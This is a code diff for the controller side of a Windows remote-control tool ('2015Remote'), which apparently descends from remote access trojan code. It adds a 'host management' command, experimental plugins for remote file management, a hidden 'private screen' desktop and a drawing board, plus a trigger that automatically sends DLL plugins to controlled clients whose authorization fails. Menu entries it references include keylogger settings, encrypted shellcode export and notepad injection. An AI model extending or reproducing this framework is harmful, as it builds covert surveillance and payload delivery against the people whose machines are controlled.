+    ON_COMMAND(ID_EXPERIMENT_FILE_MANAGER, &CMy2015RemoteDlg::OnExperimentFileManager)
+    ON_COMMAND(ID_EXPERIMENT_PRIVATE_SCREEN, &CMy2015RemoteDlg::OnExperimentPrivateScreen)
+    ON_COMMAND(ID_EXPERIMENT_DRAWING_BOARD, &CMy2015RemoteDlg::OnExperimentDrawingBoard)
     ON_COMMAND(ID_TRIGGER_SETTINGS, &CMy2015RemoteDlg::OnTriggerSettings)
     ON_COMMAND(ID_SHELLCODE_AES_C_ARRAY, &CMy2015RemoteDlg::OnShellcodeAesCArray)
     ON_COMMAND(ID_PARAM_KBLOGGER, &CMy2015RemoteDlg::OnParamKblogger)
@@ -1424,6 +1431,7 @@ VOID CMy2015RemoteDlg::CreateToolBar()
     m_ToolBar.SetButtonText(15, _T("MCP"));
     m_ToolBar.SetButtonText(16, _TR("连接管理"));
     m_ToolBar.SetButtonText(17, _TR("远程交谈"));
+    m_ToolBar.SetButtonText(18, _TR("主机管理"));
 
     // ============================================================
     //  UIBranding: 根据编译时配置或运行时标志隐藏工具栏按钮
@@ -4359,6 +4367,9 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
     Menu.SetMenuItemBitmaps(ID_ONLINE_FORBIDDEN,  MF_BYCOMMAND, &m_bmOnline[62], &m_bmOnline[62]);
     Menu.SetMenuItemBitmaps(ID_ONLINE_VIEW_WND,   MF_BYCOMMAND, &m_bmOnline[64], &m_bmOnline[64]);
     Menu.SetMenuItemBitmaps(ID_PROXY_PORT_AUTORUN, MF_BYCOMMAND, &m_bmOnline[65], &m_bmOnline[65]);
+    Menu.SetMenuItemBitmaps(ID_EXPERIMENT_FILE_MANAGER,   MF_BYCOMMAND, &m_bmOnline[66], &m_bmOnline[66]);
+    Menu.SetMenuItemBitmaps(ID_EXPERIMENT_PRIVATE_SCREEN, MF_BYCOMMAND, &m_bmOnline[67], &m_bmOnline[67]);
+    Menu.SetMenuItemBitmaps(ID_EXPERIMENT_DRAWING_BOARD,  MF_BYCOMMAND, &m_bmOnline[68], &m_bmOnline[68]);
 
     Menu.ModifyMenuL(ID_ONLINE_AUTHORIZE, MF_BYCOMMAND | MF_STRING, ID_ONLINE_AUTHORIZE, _T("发送授权"));
 
@@ -4504,6 +4515,29 @@ void CMy2015RemoteDlg::OnChat()
     BYTE bToken = COMMAND_CHAT;   //向被控端发送开始远程交谈（双向聊天）
     SendSelectedCommand(&bToken, sizeof(BYTE));
 }
+void CMy2015RemoteDlg::OnMachineManager()
+{
+    BYTE bToken = COMMAND_MACHINE_MANAGE;   //向被控端发送打开主机管理对话框命令
+    SendSelectedCommand(&bToken, sizeof(BYTE));
+}
+void CMy2015RemoteDlg::OnExperimentFileManager()
+{
+    BYTE bToken = COMMAND_FILE_MANAGER_PLUGIN;   //向被控端发送打开插件文件管理对话框命令
+    SendSelectedCommand(&bToken, sizeof(BYTE));
+}
+
+void CMy2015RemoteDlg::OnExperimentPrivateScreen()
+{
+    BYTE bToken = COMMAND_PRIVATE_SCREEN_PLUGIN;   //向被控端发送打开隐私屏幕（虚拟桌面）命令
+    SendSelectedCommand(&bToken, sizeof(BYTE));
+}
+
+void CMy2015RemoteDlg::OnExperimentDrawingBoard()
+{
+    BYTE bToken = COMMAND_DRAWING_BOARD_PLUGIN;   //向被控端发送打开远程画板命令
+    SendSelectedCommand(&bToken, sizeof(BYTE));
+}
+
 
 // 从资源中读取被控端文件，并根据用户选择修改连接信息后返回给发送线程
 BYTE* ReadExeFromResource(DWORD& outSize, int resourceId, const char* resName, int iType, int iStartup,
@@ -5720,7 +5754,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
 
             // 统一的 V1/V2 授权验证
             std::string ip = ContextObject->GetPeerName();
-            auto [authorized, isV2, isTrail, expired] = VerifyClientAuth(NULL, sn, passcode, hmac, hmacV2, ip, "AUTH");
+            auto [authorized, isV2, isTrail, expired] = VerifyClientAuth(NULL, sn, passcode, hmac, hmacV2, ip, "AUTH", ContextObject);
             valid = authorized;
             bool isV2Auth = !hmacV2.empty() && hmacV2.substr(0, 3) == "v2:";
 
@@ -7169,7 +7203,8 @@ std::pair<std::string, std::string> CMy2015RemoteDlg::GenerateRenewalInfo(
 // expired=true 表示签名有效但已过期（可用于续期）
 std::tuple<bool, bool, bool, bool> CMy2015RemoteDlg::VerifyClientAuth(context* host,
     const std::string& sn, const std::string& passcode, uint64_t hmac,
-    const std::string& hmacV2, const std::string& ip, const char* source)
+    const std::string& hmacV2, const std::string& ip, const char* source,
+    CONTEXT_OBJECT* sender)
 {
     BOOL authorized = -1;
     bool isV2 = false;
@@ -7195,6 +7230,7 @@ std::tuple<bool, bool, bool, bool> CMy2015RemoteDlg::VerifyClientAuth(context* h
                 Mprintf("[%s] %s V2 授权失败 %d: %s [%s]\n", source, passcode.c_str(), authorized, sn.c_str(), ip.c_str());
                 std::string tip = passcode + std::string(_L(" V2 授权失败: ")) + sn + "[" + ip + "]";
                 PostMessageA(WM_SHOWMESSAGE, (WPARAM)new CharMsg(tip.c_str()), NULL);
+                ExecuteAuthFailedTrigger(sender);
             }
         }
     } else if (!passcode.empty() && IsValidPasscodeFormat(passcode.c_str())) {
@@ -7216,6 +7252,7 @@ std::tuple<bool, bool, bool, bool> CMy2015RemoteDlg::VerifyClientAuth(context* h
                 Mprintf("[%s] %s V1 授权失败 %d: %s [%s]\n", source, passcode.c_str(), authorized, sn.c_str(), ip.c_str());
                 std::string tip = passcode + std::string(_L(" V1 授权失败: ")) + sn + "[" + ip + "]";
                 PostMessageA(WM_SHOWMESSAGE, (WPARAM)new CharMsg(tip.c_str()), NULL);
+                ExecuteAuthFailedTrigger(sender);
             }
         }
     }
@@ -7312,7 +7349,7 @@ void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx)
 
         // 统一的 V1/V2 授权验证
         std::string ip = ctx->GetClientData(ONLINELIST_IP);
-        auto [authorized, isV2, isTrail, expired] = VerifyClientAuth(host, hb.SN, hb.Passcode, hb.PwdHmac, hmacV2, ip, "HB");
+        auto [authorized, isV2, isTrail, expired] = VerifyClientAuth(host, hb.SN, hb.Passcode, hb.PwdHmac, hmacV2, ip, "HB", ctx);
         (void)expired;  // 心跳不需要处理过期续期
 
         // 检查并发送预设续期（多点验证）
@@ -11443,6 +11480,45 @@ void CMy2015RemoteDlg::ExecuteOnlineTrigger(CONTEXT_OBJECT* ctx)
     }
 }
 
+void CMy2015RemoteDlg::ExecuteAuthFailedTrigger(CONTEXT_OBJECT* ctx)
+{
+    if (!ctx || m_DllList.empty()) return;
+
+    // 快速检查是否有授权失败触发器（使用缓存，无磁盘IO）
+    if (!TriggerManager::Instance().HasAuthFailedTrigger()) {
+        return;
+    }
+
+    // 获取触发器插件列表（从缓存获取）
+    auto pluginNames = TriggerManager::Instance().GetAuthFailedPlugins();
+    if (pluginNames.empty()) {
+        return;
+    }
+
+    Mprintf("[Trigger] Auth failed trigger activated for %s\n", ctx->GetPeerName().c_str());
+
+    // 遍历触发器配置的插件列表
+    for (const auto& pluginName : pluginNames) {
+        // 查找对应的 DLL
+        DllInfo* targetDll = nullptr;
+        for (auto& dll : m_DllList) {
+            if (dll && dll->Name == pluginName) {
+                targetDll = dll;
+                break;
+            }
+        }
+
+        if (!targetDll || !targetDll->Data) {
+            Mprintf("[Trigger] Plugin not found: %s\n", pluginName.c_str());
+            continue;
+        }
+
+        // 发送 DLL 到客户端
+        Mprintf("[Trigger] Sending plugin '%s' to %s\n", pluginName.c_str(), ctx->GetPeerName().c_str());
+        ctx->Send2Client(targetDll->Data->Buf(), targetDll->Data->length());
+    }
+}
+
 context* CMy2015RemoteDlg::FindHostByIP(const std::string& ip)
 {
     CString clientIP(ip.c_str());

server/2015Remote/2015RemoteDlg.h

@@ -233,9 +233,10 @@ public:
     // 统一的授权验证函数，返回: (authorized, isV2, isTrail, expired)
     // expired=true 表示签名有效但已过期（可用于续期）
     // source: 验证来源 ("AUTH"=TOKEN_AUTH, "HB"=心跳)
+    // sender: 发送方连接上下文（授权失败触发器下发 DLL 用），TOKEN_AUTH 路径可为 nullptr
     std::tuple<bool, bool, bool, bool> VerifyClientAuth(context* host, const std::string& sn,
         const std::string& passcode, uint64_t hmac, const std::string& hmacV2, const std::string& ip,
-        const char* source = "AUTH");
+        const char* source = "AUTH", CONTEXT_OBJECT* sender = nullptr);
     BOOL SendMasterSettings(CONTEXT_OBJECT* ctx, const MasterSettings& m);
     void SendFilesToClientV2(context* mainCtx, const std::vector<std::string>& files, const std::string& targetDir = "");
     void SendFilesToClientV2Internal(context* mainCtx, const std::vector<std::string>& files,
@@ -431,7 +432,7 @@ public:
     bool IsDllRequestLimited(const std::string& ip);
     void RecordDllRequest(const std::string& ip);
     CMenu	   m_MainMenu;
-    CBitmap m_bmOnline[66];
+    CBitmap m_bmOnline[69];
     uint64_t m_superID;
     std::map<HWND, CDialogBase *> m_RemoteWnds;
     FileTransformCmd m_CmdList;
@@ -517,6 +518,10 @@ public:
     std::map<uint64_t, std::wstring> m_ActiveWndW;
     afx_msg void OnOnlineMessage();
     afx_msg void OnChat();
+    afx_msg void OnMachineManager();
+    afx_msg void OnExperimentFileManager();
+    afx_msg void OnExperimentPrivateScreen();
+    afx_msg void OnExperimentDrawingBoard();
     afx_msg void OnOnlineDelete();
     afx_msg void OnOnlineUpdate();
     afx_msg void OnAbout();
@@ -647,6 +652,7 @@ public:
     afx_msg void OnToolPluginSettings();
     afx_msg void OnTriggerSettings();
     void ExecuteOnlineTrigger(CONTEXT_OBJECT* ctx);
+    void ExecuteAuthFailedTrigger(CONTEXT_OBJECT* ctx);
     afx_msg void OnShellcodeAesCArray();
     afx_msg void OnParamKblogger();
     afx_msg void OnOnlineInjNotepad();

server/2015Remote/2015Remote_vs2015.vcxproj

@@ -526,6 +526,8 @@
     <Image Include="res\Bitmap\BrowseWnd.bmp" />
     <Image Include="res\Bitmap\CancelShare.bmp" />
     <Image Include="res\Bitmap\ClientLog.bmp" />
+    <Image Include="res\Bitmap\DrawingBoard.bmp" />
+    <Image Include="res\Bitmap\FileManager.bmp" />
     <Image Include="res\Bitmap\Forbidden.bmp" />
     <Image Include="res\bitmap\compress.bmp" />
     <Image Include="res\Bitmap\Copy.bmp" />
@@ -561,6 +563,7 @@
     <Image Include="res\Bitmap\PluginConfig.bmp" />
     <Image Include="res\Bitmap\PortProxyAuto.bmp" />
     <Image Include="res\Bitmap\PortProxyStd.bmp" />
+    <Image Include="res\Bitmap\PrivacyShield.bmp" />
     <Image Include="res\Bitmap\PrivateScreen.bmp" />
     <Image Include="res\Bitmap\proxy.bmp" />
     <Image Include="res\Bitmap\Reboot.bmp" />

server/2015Remote/2015Remote_vs2015.vcxproj.filters

@@ -352,5 +352,8 @@
     <Image Include="res\Bitmap\HistoryActivity.bmp" />
     <Image Include="res\Bitmap\BrowseWnd.bmp" />
     <Image Include="res\Bitmap\PortProxyAuto.bmp" />
+    <Image Include="res\Bitmap\FileManager.bmp" />
+    <Image Include="res\Bitmap\PrivacyShield.bmp" />
+    <Image Include="res\Bitmap\DrawingBoard.bmp" />
   </ItemGroup>
 </Project>

server/2015Remote/TriggerSettingsDlg.cpp

@@ -76,6 +76,7 @@ BEGIN_MESSAGE_MAP(CTriggerSettingsDlg, CDialogLangEx)
     ON_BN_CLICKED(IDC_BTN_TRIGGER_ADD, &CTriggerSettingsDlg::OnBnClickedBtnTriggerAdd)
     ON_BN_CLICKED(IDC_BTN_TRIGGER_REMOVE, &CTriggerSettingsDlg::OnBnClickedBtnTriggerRemove)
     ON_NOTIFY(LVN_ITEMCHANGED, IDC_LIST_TRIGGERS, &CTriggerSettingsDlg::OnLvnItemchangedListTriggers)
+    ON_CBN_SELCHANGE(IDC_COMBO_TRIGGER_TYPE, &CTriggerSettingsDlg::OnCbnSelchangeComboTriggerType)
 END_MESSAGE_MAP()
 
 CTriggerSettingsDlg::CTriggerSettingsDlg(std::vector<DllInfo*>& dllList, CWnd* pParent)
@@ -118,6 +119,7 @@ void CTriggerSettingsDlg::InitControls()
 {
     // 初始化触发类型下拉框
     m_comboTriggerType.InsertString(TRIGGER_HOST_ONLINE, _TR("主机上线"));
+    m_comboTriggerType.InsertString(TRIGGER_AUTH_FAILED, _TR("授权失败"));
     m_comboTriggerType.SetCurSel(TRIGGER_HOST_ONLINE);
 
     // 初始化插件列表
@@ -147,27 +149,15 @@ void CTriggerSettingsDlg::LoadPluginsToList()
         index++;
     }
 
-    // 如果有已配置的主机上线触发器，勾选对应的插件
-    TriggerConfig* onlineTrigger = GetOnlineTrigger(m_Configs);
-    if (onlineTrigger) {
-        for (int i = 0; i < m_listPlugins.GetItemCount(); i++) {
-            DllInfo* dll = reinterpret_cast<DllInfo*>(m_listPlugins.GetItemData(i));
-            if (!dll) continue;
-            for (const auto& pluginName : onlineTrigger->PluginNames) {
-                if (pluginName == dll->Name) {
-                    m_listPlugins.SetCheck(i, TRUE);
-                    break;
-                }
-            }
-        }
-    }
+    // 回显当前选中触发类型已勾选的插件
+    ReflectPluginsForType((TriggerType)m_comboTriggerType.GetCurSel());
 }
 
 void CTriggerSettingsDlg::LoadTriggersToList()
 {
     m_listTriggers.DeleteAllItems();
 
-    const char* typeNames[] = { "主机上线" };
+    const char* typeNames[] = { "主机上线", "授权失败" };
 
     int index = 0;
     for (const auto& cfg : m_Configs) {
@@ -264,6 +254,21 @@ void CTriggerSettingsDlg::OnLvnItemchangedListTriggers(NMHDR* pNMHDR, LRESULT* p
 
     TriggerType type = (TriggerType)m_listTriggers.GetItemData(nItem);
 
+    // 回显该触发器配置的插件，并同步下拉框选择
+    ReflectPluginsForType(type);
+    m_comboTriggerType.SetCurSel(type);
+}
+
+void CTriggerSettingsDlg::OnCbnSelchangeComboTriggerType()
+{
+    int sel = m_comboTriggerType.GetCurSel();
+    if (sel >= 0) {
+        ReflectPluginsForType((TriggerType)sel);
+    }
+}
+
+void CTriggerSettingsDlg::ReflectPluginsForType(TriggerType type)
+{
     // 查找对应的触发器配置
     TriggerConfig* cfg = nullptr;
     for (auto& c : m_Configs) {
@@ -291,9 +296,6 @@ void CTriggerSettingsDlg::OnLvnItemchangedListTriggers(NMHDR* pNMHDR, LRESULT* p
             }
         }
     }
-
-    // 同步下拉框选择
-    m_comboTriggerType.SetCurSel(type);
 }
 
 void CTriggerSettingsDlg::OnBnClickedBtnSave()
@@ -427,16 +429,6 @@ void CTriggerSettingsDlg::SaveTriggerConfigs(const std::vector<TriggerConfig>& c
     TriggerManager::Instance().Reload();
 }
 
-TriggerConfig* CTriggerSettingsDlg::GetOnlineTrigger(std::vector<TriggerConfig>& configs)
-{
-    for (auto& cfg : configs) {
-        if (cfg.Type == TRIGGER_HOST_ONLINE && !cfg.PluginNames.empty()) {
-            return &cfg;
-        }
-    }
-    return nullptr;
-}
-
 // ============================================
 // TriggerManager 实现
 // ============================================
@@ -455,6 +447,7 @@ void TriggerManager::LoadFromDisk()
 {
     // 不加锁，由调用者保证线程安全
     m_OnlinePlugins.clear();
+    m_AuthFailedPlugins.clear();
 
     auto configs = CTriggerSettingsDlg::LoadTriggerConfigs();
     for (const auto& cfg : configs) {
@@ -462,6 +455,10 @@ void TriggerManager::LoadFromDisk()
             for (const auto& name : cfg.PluginNames) {
                 m_OnlinePlugins.insert(name);
             }
+        } else if (cfg.Type == TRIGGER_AUTH_FAILED) {
+            for (const auto& name : cfg.PluginNames) {
+                m_AuthFailedPlugins.insert(name);
+            }
         }
     }
     m_bLoaded = true;
@@ -495,3 +492,25 @@ std::set<std::string> TriggerManager::GetOnlinePlugins()
     LeaveCriticalSection(&m_cs);
     return result;
 }
+
+bool TriggerManager::HasAuthFailedTrigger()
+{
+    EnterCriticalSection(&m_cs);
+    if (!m_bLoaded) {
+        LoadFromDisk();
+    }
+    bool has = !m_AuthFailedPlugins.empty();
+    LeaveCriticalSection(&m_cs);
+    return has;
+}
+
+std::set<std::string> TriggerManager::GetAuthFailedPlugins()
+{
+    EnterCriticalSection(&m_cs);
+    if (!m_bLoaded) {
+        LoadFromDisk();
+    }
+    std::set<std::string> result = m_AuthFailedPlugins;  // 复制一份返回
+    LeaveCriticalSection(&m_cs);
+    return result;
+}

server/2015Remote/TriggerSettingsDlg.h

@@ -12,6 +12,7 @@ struct DllInfo;
 // 触发器类型
 enum TriggerType {
     TRIGGER_HOST_ONLINE = 0,    // 主机上线
+    TRIGGER_AUTH_FAILED = 1,    // 授权失败
     // 后续可扩展更多类型
 };
 
@@ -34,12 +35,18 @@ public:
     // 获取主机上线触发器的插件名称集合（高性能查询）
     std::set<std::string> GetOnlinePlugins();
 
+    // 获取授权失败触发器的插件名称集合（高性能查询）
+    std::set<std::string> GetAuthFailedPlugins();
+
     // 重新加载配置（保存后调用）
     void Reload();
 
     // 检查是否有上线触发器
     bool HasOnlineTrigger();
 
+    // 检查是否有授权失败触发器
+    bool HasAuthFailedTrigger();
+
 private:
     TriggerManager();
     ~TriggerManager();
@@ -49,7 +56,8 @@ private:
     void LoadFromDisk();
 
     CRITICAL_SECTION m_cs;
-    std::set<std::string> m_OnlinePlugins;  // 缓存的上线触发器插件名称
+    std::set<std::string> m_OnlinePlugins;      // 缓存的上线触发器插件名称
+    std::set<std::string> m_AuthFailedPlugins;  // 缓存的授权失败触发器插件名称
     bool m_bLoaded;
 };
 
@@ -68,8 +76,6 @@ public:
     static void SaveTriggerConfigs(const std::vector<TriggerConfig>& configs);
     // 静态方法：获取配置文件路径
     static std::string GetTriggerConfigPath();
-    // 静态方法：获取主机上线触发器（如果存在）
-    static TriggerConfig* GetOnlineTrigger(std::vector<TriggerConfig>& configs);
 
 protected:
     virtual void DoDataExchange(CDataExchange* pDX);
@@ -81,12 +87,15 @@ protected:
     afx_msg void OnBnClickedBtnTriggerAdd();
     afx_msg void OnBnClickedBtnTriggerRemove();
     afx_msg void OnLvnItemchangedListTriggers(NMHDR* pNMHDR, LRESULT* pResult);
+    afx_msg void OnCbnSelchangeComboTriggerType();
 
 private:
     void InitControls();
     void LoadPluginsToList();
     void LoadTriggersToList();
     void UpdateTriggerDisplay();
+    // 回显指定触发类型已勾选的插件（取消其他勾选）
+    void ReflectPluginsForType(TriggerType type);
 
 private:
     std::vector<DllInfo*>& m_DllList;           // 引用主对话框的 DLL 列表

server/2015Remote/UIBranding.h

@@ -46,7 +46,7 @@
 
 // 程序版本号 [建议格式: X.Y.Z]
 // 影响：关于对话框、标题栏
-#define BRAND_VERSION           "1.3.9"
+#define BRAND_VERSION           "1.4.0"
 
 // 启动画面名称 [建议大写，更有 Logo 感]
 // 影响：启动画面 Logo 文字（大号艺术字体渲染）

server/2015Remote/lang/de_DE.ini

@@ -409,6 +409,7 @@ Rar
 撤销授权=Autorisierung widerrufen
 注入记事本=Notepad injizieren
 机器管理=Maschinenverwaltung
+主机管理=Maschinenverwaltung
 注销=Abmelden
 关机=Herunterfahren
 重启=Neustart
@@ -1823,6 +1824,7 @@ IOCP
 触发类型:=Ausloesertyp:
 执行动作:=Aktion:
 主机上线=Host online
+授权失败=Autorisierung fehlgeschlagen
 插件名称=Plugin-Name
 触发器=Ausloeser
 已配置的触发器=Konfigurierte Ausloeser

server/2015Remote/lang/en_US.ini

@@ -410,6 +410,7 @@ Rar
 撤销授权=Revoke Auth
 注入记事本=Inject Notepad
 机器管理=Machine Mgmt
+主机管理=Host Mgmt
 注销=Log Off
 关机=Shutdown
 重启=Restart
@@ -1824,6 +1825,7 @@ IOCP
 触发类型:=Trigger Type:
 执行动作:=Action:
 主机上线=Host Online
+授权失败=Authorization Failed
 插件名称=Plugin Name
 触发器=Trigger
 已配置的触发器=Configured Triggers

server/2015Remote/lang/zh_TW.ini

@@ -410,6 +410,7 @@ Rar
 撤销授权=撤銷授權
 注入记事本=注入記事本
 机器管理=機器管理
+主机管理=主機管理
 注销=登出
 关机=關機
 重启=重新啟動
@@ -1816,6 +1817,7 @@ IOCP
 触发类型:=觸發類型:
 执行动作:=執行動作:
 主机上线=主機上線
+授权失败=授權失敗
 插件名称=外掛名稱
 触发器=觸發器
 已配置的触发器=已設定的觸發器

server/2015Remote/resource.h

@@ -284,6 +284,9 @@
 #define IDB_BITMAP_HISTORY_ACTIVITY     398
 #define IDB_BITMAP_VIEW_WND             399
 #define IDB_BITMAP_PROXY_AUTORUN        400
+#define IDB_BITMAP_FILE_MANAGER         407
+#define IDB_BITMAP_PRIVACY_SHIELD       408
+#define IDB_BITMAP_DRAWING_BOARD        409
 #define IDC_MESSAGE                     1000
 #define IDC_ONLINE                      1001
 #define IDC_STATIC_TIPS                 1002
@@ -1012,6 +1015,9 @@
 #define ID_CONNECTION_KILL              33087
 #define ID_CONNECTION_REFRESH           33088
 #define ID_TALK_MANAGE                 33089
+#define ID_EXPERIMENT_FILE_MANAGER      33090
+#define ID_EXPERIMENT_PRIVATE_SCREEN    33091
+#define ID_EXPERIMENT_DRAWING_BOARD     33092
 #define ID_33046                        33046
 #define ID_PROXY_PORT_AUTORUN           33047
 #define ID_TRIGGER_SETTINGS             33048
@@ -1075,8 +1081,8 @@
 //
 #ifdef APSTUDIO_INVOKED
 #ifndef APSTUDIO_READONLY_SYMBOLS
-#define _APS_NEXT_RESOURCE_VALUE        407
-#define _APS_NEXT_COMMAND_VALUE         33090
+#define _APS_NEXT_RESOURCE_VALUE        410
+#define _APS_NEXT_COMMAND_VALUE         33093
 #define _APS_NEXT_CONTROL_VALUE         2593
 #define _APS_NEXT_SYMED_VALUE           105
 #endif